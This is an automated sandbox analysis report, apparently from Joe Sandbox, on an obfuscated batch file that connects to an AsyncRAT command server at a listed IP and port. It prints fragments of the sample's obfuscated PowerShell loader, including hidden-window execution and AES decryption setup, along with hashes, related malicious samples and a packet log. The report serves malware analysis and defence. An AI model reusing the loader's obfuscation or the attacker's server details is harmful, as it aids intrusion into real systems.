Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
15.bat	5%	ReversingLabs
15.bat	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://crl.microsoft	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.1713621454.000001BB76AB4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1713621454.000001BB7697E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1698349267.000001BB66CD7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000006.00000002.1698349267.000001BB67F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.microsoft	powershell.exe, 00000006.00000002.1698215372.000001BB663C6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000006.00000002.1698349267.000001BB67832000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.1713621454.000001BB76AB4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1713621454.000001BB7697E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1698349267.000001BB6850E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000006.00000002.1698349267.000001BB67F1F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.1698349267.000001BB668F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.1698349267.000001BB668F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.1698349267.000001BB66BD5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 00000006.00000002.1698349267.000001BB67F1F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.222.96.128	unknown	Germany		3303	SWISSCOMSwisscomSwitzerlandLtdCH	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429038
Start date and time:	2024-04-20 10:05:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	15.bat
Detection:	MAL
Classification:	mal68.evad.winBAT@11/10@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 67% Number of executed functions: 5 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 72.21.81.240
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
10:05:57	API Interceptor	15586908x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SWISSCOMSwisscomSwitzerlandLtdCH	ShippingOrder_ GSHS2400052.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	193.222.96.147
	Encrypted_PaymentAdvice_Reference.html	Get hash	malicious	HTMLPhisher	Browse	193.222.96.119
	z42MNA2024000000041-KWINTMADI-11310Y_K.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	z14Novospedidosdecompra_Profil_4903.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	UMMAN #U0130HRACAT AFR5641 910-1714 1633.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	wFtZih4nN9.elf	Get hash	malicious	Mirai	Browse	85.7.65.219
	dhl_doc_awb_shipping_invoice_18_04_2024_000000000000024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.11
	http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=esi-doc.one/YWGTytNgAkCXj6A/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/bXNvbG9yemFub0Bsc2ZjdS5vcmc=&d=DwMGaQ	Get hash	malicious	HTMLPhisher	Browse	193.222.96.132
	enEQvjUlGl.elf	Get hash	malicious	Mirai	Browse	178.194.189.44
	Oo2yeTdq5J.elf	Get hash	malicious	Mirai	Browse	85.2.40.128

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69993
Entropy (8bit):	7.99584879649948
Encrypted:	true
SSDEEP:	1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5:	29F65BA8E88C063813CC50A4EA544E93
SHA1:	05A7040D5C127E68C25D81CC51271FFB8BEF3568
SHA-256:	1ED81FA8DFB6999A9FEDC6E779138FFD99568992E22D300ACD181A6D2C8DE184
SHA-512:	E29B2E92C496245BED3372578074407E8EF8882906CE10C35B3C8DEEBFEFE01B5FD7F3030ACAA693E175F4B7ACA6CD7D8D10AE1C731B09C5FA19035E005DE3AA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....i.......,...................I.................oXAy .authroot.stl.Ez..Q6..CK..<Tk...p.k..1...3...[..%Y.f..."K.6)..[I.hOB."..rK.RQ..}f..f...}....9.\|.....gA...30.,O2L...0..%.U...U.t.....`dqM2.x..t...<(uad.c...x5V.x..t..agd.v......i...KD..q(. ...JJ......#..'=. ...3.x...}...+T.K..!.'.`w .!.x.r.......YafhG..O.3....'P[..'.D../....n..t....R<..=\E7L0?{..T.f...ID...,...r....3z..O/.b.Iwx.. .o...a\.s........."..'.......<;s.[...l...6.)ll..B.P.....k.... k0.".t!/.,........{...P8....B..0(.. .Q.....d...q,\.$.n.Q.\.p...R..:.hr./..8.S<a.s...+#3....D..h1.a.0....{.9.....:e.......n.~G.{.M.1..OU.....B.Q..y_>.P{...}i.=.a..QQT.U..\|!.pyCD@.....l..70..w..)...W^.`l...%Y.\................i..=hYV.O8W@P.=.r.=..1m..1....)\.p..\|.c.3..t..[...).....l.{.Y....\S.....y....[.mCt....Js;...H....Q..F.....g.O...[..A.=...F[..z....k...mo.lW{`....O...T.g.Y.Uh.;m.'.N..f..}4..9i..t4p_bI..`.....Ie..l.P.... ...Lg......[....5g...~D.s.h'>n.m.c.7...-..P.gG...i$...v.m.b[.yO.P/*.YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	330
Entropy (8bit):	3.139206469813435
Encrypted:	false
SSDEEP:	6:kKBlDN+SkQlPlEGYRMY9z+4KlDA3RUeVlWI/Vt:JlMkPlE99SNxAhUeVLVt
MD5:	A3DACFA0F0F602EEB4894B54ED7228F1
SHA1:	856A6B3CC26B92BEDAA5D0598A467BC457D1C052
SHA-256:	3E97091CB04ED8491BBEB056667718E4FB73EB5E5B060A2BCE892F8F55758747
SHA-512:	95831E9410F9D6173A01B840C3416C5C407ED2E3E669405243DA97622E743E6B7CD1AFBCFC2E6EBE98A783280E1D963F52108D5CF2AE609743B3ABE452C40450
Malicious:	false
Reputation:	low
Preview:	p...... .........bf.`H..(....................................................... ........M.........(...........i...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".b.3.6.8.5.3.8.5.a.4.7.f.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9713
Entropy (8bit):	4.93568648418653
Encrypted:	false
SSDEEP:	192:Pxoe5lpOdxoe56ib49Vsm5emdagkjDt4iWN3yBGHB9smMdcU6CBdcU6Ch9smwY1D:lVib49Vkjh4iUxlYvcYKib4o
MD5:	A7EDDF0DCC37957ABAFE63CE6D0BE4CA
SHA1:	5B09680EF1C3C405D698481E1364BE0C412C7A9C
SHA-256:	B9F314DC6C4DDB176CB92C77ECB5FCA91FB58FBE12DCFD9CEB4E8BFFC07B5327
SHA-512:	A906C8FFAB88AD0CEAD9A5B4D7D4089C1621A8D36F7190EF6FD829B0D942BBBC89E76424C46E204282B6985C02ABD3488082A6A2A4D88CDE396C480E2989AF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2832
Entropy (8bit):	5.414030276061799
Encrypted:	false
SSDEEP:	48:0AzsSU4YymI4RIoUeCa+m9qr9t5/78NV4GxJZKaVEouYAgwd64rHLjtvz:0AzlHYvIIfLz9qrh7KrJ5Eo9Adrxz
MD5:	BAF5A10C59FD93E444E5B672D7CCB1D4
SHA1:	906BB875AB47D641756F44E09633F75AFDDDD638
SHA-256:	B029CB8CEA8D97BF6F636D2BE3F7A0F3334A07E22B832581A3D1D1F282AFC637
SHA-512:	B52A2F66B83271814381F897CD32B83ED97F18553EEDB8DDABE99B93EAF58C46A362E6255B0744C41C5E91042238E15ED9E4CF46C11446937B850F104965087A
Malicious:	false
Reputation:	low
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_owwgvgmx.sep.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rm4u2mft.m10.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tlkrsuot.rle.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xenaccby.0uo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\MyData\DataLogs.conf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.75
Encrypted:	false
SSDEEP:	3:Rt:v
MD5:	CF759E4C5F14FE3EEC41B87ED756CEA8
SHA1:	C27C796BB3C2FAC929359563676F4BA1FFADA1F5
SHA-256:	C9F9F193409217F73CC976AD078C6F8BF65D3AABCF5FAD3E5A47536D47AA6761
SHA-512:	C7F832AEE13A5EB36D145F35D4464374A9E12FA2017F3C2257442D67483B35A55ECCAE7F7729243350125B37033E075EFBC2303839FD86B81B9B4DCA3626953B
Malicious:	false
Preview:	.5.False

\Device\ConDrv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (2132), with CRLF line terminators
Category:	dropped
Size (bytes):	2134
Entropy (8bit):	5.765159968838168
Encrypted:	false
SSDEEP:	48:kdSNM0GgCsFm5AIP+TKR23R98Rx+BLB0cfPBkqkwArX1xngW3JVFgntlYcW3IS:kI1T+AIG+E307+BLB0cf3S1GMonn6H
MD5:	44936E2D6C7772C5ABB7AD1399222214
SHA1:	3F8C2BE67E603E708C15E866C7F6F227A666DA4F
SHA-256:	65A32A02EE58510D7F5D7DFE3D0D7F0E5D41F31C80456A6E457ACEA9C861A7BA
SHA-512:	38CEB16C2B383395DFFD4C0EBE5DFF0BA5EE5F7252C543D7733A2CA615D4058028DC976B883DF91342B18AA117A72BFC5A96A73FBDAF51E3BC19DC37BC9B9E38
Malicious:	false
Preview:	$host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\15.bat';$MMJz='GelYestClYesurlYesrenlYestlYesProlYesceslYesslYes'.Replace('lYes', ''),'ChFGxTanFGxTgFGxTeEFGxTxFGxTteFGxTnsFGxTiFGxToFGxTnFGxT'.Replace('FGxT', ''),'EleTQWBmeTQWBnTQWBtAtTQWB'.Replace('TQWB', ''),'CrAFGseAFGsaAFGstAFGseAFGsDecAFGsryAFGsptAFGsorAFGs'.Replace('AFGs', ''),'SRlYbpRlYblRlYbiRlYbtRlYb'.Replace('RlYb', ''),'DoaAnecooaAnmpoaAnresoaAnsoaAn'.Replace('oaAn', ''),'EnHILctrHILcyHILcPoHILcinHILctHILc'.Replace('HILc', ''),'CDYnropDYnryToDYnr'.Replace('DYnr', ''),'ReaOApIdLiOApInesOApI'.Replace('OApI', ''),'IndQRQvodQRQkedQRQ'.Replace('dQRQ', ''),'TratglInstglIfotglIrmtglIFitglInatglIlBltglIotglIctglIktglI'.Replace('tglI', ''),'MbkBwaibkBwnbkBwModbkBwulbkBwebkBw'.Replace('bkBw', ''),'FroXggooXggmBaoXggseoXgg64SoXggtroXggioXggngoXgg'.Replace('oXgg', ''),'Loajyrjdjyrj'.Replace('jyrj', '');powershell -w hidden;function FBejp($JKmLP){$UerdI=[System.Security.Cryptography.Aes]::Create();$UerdI.Mode=[System.Security.Cryptogra

Static File Info

General

File type:	DOS batch file, ASCII text, with very long lines (51246), with CRLF line terminators
Entropy (8bit):	6.003197930819005
TrID:
File name:	15.bat
File size:	62'382 bytes
MD5:	1bf971e48ba0ca904319be9147a96c33
SHA1:	75078fd8b6a000b848eb3f372e5f84fb58d5b98e
SHA256:	74742f3e892f02c91b2f2dd9e1547ffe42681bb755b0f28b2dd602afb46af39e
SHA512:	e24d8d46a962c1d659a742a1926c6628f9e88268449b36a93bba5def5390eca141903e329afd3eda70f79cc391f8391e9f15639918addc923819a3efe3dcc6d0
SSDEEP:	1536:pdgEdB7d8SZXy3SMlwVdgC1mKRkm6DUL9:paEdNGSsSR3sKRkrDo
TLSH:	5E53E1082BAB879758AAD418DFC570C709C799875DB8FAF45F5B202A21B7A3340F5723
File Content Preview:	@echo off..set "gwAVRA=seWiBDht aWiBDhPiBWiBDh=1WiBDh &WiBDh&WiBDh sWiBDhtaWiBDhrt WiBDh"WiBDh" WiBDh/mWiBDhinWiBDh WiBDh"..set "CMXyhD=&WiBDh& eWiBDhxiWiBDhtWiBDh"..set "pEXfDe=noWiBDht WiBDhdeWiBDhfWiBDhiWiBDhneWiBDhd aWiBDhPWiBDhiBWiBDh..if %pEXfDe:WiB

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/20/24-10:06:05.477978	TCP	2850454	ETPRO TROJAN Observed Malicious SSL Cert (AsyncRAT)	4449	49730	193.222.96.128	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 10:06:05.059465885 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:05.261924982 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:05.262198925 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:05.274139881 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:05.477977991 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:05.483889103 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:05.690464973 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:05.744736910 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:06.648036957 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:06.902771950 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:06.902887106 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:07.155409098 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:18.809006929 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:19.056802988 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:19.057018042 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:19.262202978 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:19.307322979 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:19.509840012 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:19.519445896 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:19.775299072 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:19.775485039 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:20.025736094 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:30.979486942 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:31.228714943 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:31.228943110 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:31.432890892 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:31.479065895 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:31.681679964 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:31.683608055 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:31.931751966 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:31.931982040 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:32.181802988 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:43.151253939 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:43.400309086 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:43.400445938 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:43.604294062 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:43.650942087 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:43.853630066 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:43.855947018 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:44.103606939 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:44.103995085 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:44.353465080 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:55.323198080 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:55.572362900 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:55.572725058 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:55.776315928 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:55.822690964 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:56.025016069 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:56.027904987 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:56.275512934 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:06:56.275585890 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:06:56.525357008 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:07.495194912 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:07.755770922 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:07.756006002 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:07.961678982 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:08.010253906 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:08.212491035 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:08.214807034 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:08.463056087 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:08.463587999 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:08.712913036 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:19.666765928 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:19.934175014 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:19.934254885 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:20.141429901 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:20.198467970 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:20.401392937 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:20.406703949 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:20.650386095 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:20.651022911 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:20.900355101 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:22.026459932 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:22.275502920 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:22.275700092 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:22.480595112 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:22.528429031 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:22.730786085 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:22.732867002 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:22.984918118 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:22.985029936 CEST	49730	4449	192.168.2.4	193.222.96.128
